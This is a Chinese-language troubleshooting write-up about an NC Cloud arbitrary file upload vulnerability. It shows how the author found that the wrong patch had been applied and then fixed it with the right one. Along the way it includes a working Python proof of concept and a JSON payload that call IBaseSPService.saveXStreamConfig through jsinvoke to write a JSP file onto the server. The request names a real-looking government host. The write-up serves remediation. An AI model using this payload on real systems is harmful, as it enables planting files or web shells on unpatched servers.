问题现象
客户反馈,公安局大数据中心通报,他们的系统有 NC Cloud jsinvoke 接⼝存在任意⽂件上传漏洞,攻击者通过漏洞可以上传任意⽂件⾄服务器中,获取系统权限。需要限时修复。顾问按照修复方案打上了安全补丁后,公安局复测后发现问题依旧。
问题分析
1、首先怀疑是安全补丁没有打上导致的。查看相关安全补丁是修改xxx\web.xml文件,无类文件之间的改动。
2、检查相关web.xml发现已经修改。证明安全补丁已经打上。
3、直接浏览器访问接口地址发现,系统报500错误。
后续与公安局技术人员沟通,要到了他们发送的post请求么,并且要到了相关的漏扫报告。
根据提供的json串,编写个python脚本向服务器发起攻击,向服务器的xxx/路径下传送个文件名为444122.jsp,内容为1234的文件。 url和路径等信息都已经隐藏,下方代码为例子,仅供参考。
import requests
import json
### url地址为自己接口地址。
url = "https://IP:Port/uapjs/jsinvoke/?action=invoke"
payload = json.dumps({
"serviceName": "xx.xxx.xxx.IBaseSPService",
"methodName": "saveXStreamConfig",
"parameterTypes": [
"java.lang.Object",
"java.lang.String"
],
"parameters": [
"1234",
"xxx/444122.jsp"
]
})
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,like Gecko) Chrome/92.0.4515.159 Safari/537.36',
'Content-Type': 'application/json',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/
apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
'Host': 'ctnc.sc.yichang.gov.cn',
'Connection': 'close'
}
response = requests.request("POST", url, headers=headers, data=payload)
print(response.text)
发现在相关路径下有确实有文件上传。
通过浏览器直接访问。能看到具体内容为1234。
仔细的查看了提供的接口,发现IBaseSPService方法可疑与jsinvoke 漏洞并不一致。
{
"serviceName": "xx.xxx.xxxx.IBaseSPService",
"methodName": "saveXStreamConfig",
"parameterTypes": [
"java.lang.Object",
"java.lang.String"
],
"parameters": [
"1234",
"xxx/444122.jsp"
]
}
查找补丁库发现有IBaseSPService相关安全补丁。
打上补丁,重启后,使用Apifox发起攻击,发现并没有攻击上去。
经过复测发现问题已经修复。
解决方案
确认真实接口,打上相关安全补丁。其实此问题就是标题和内容没有对上导致的。顾问只是按照漏洞名字进行的处理工作,但非真实漏洞,故造成了风险。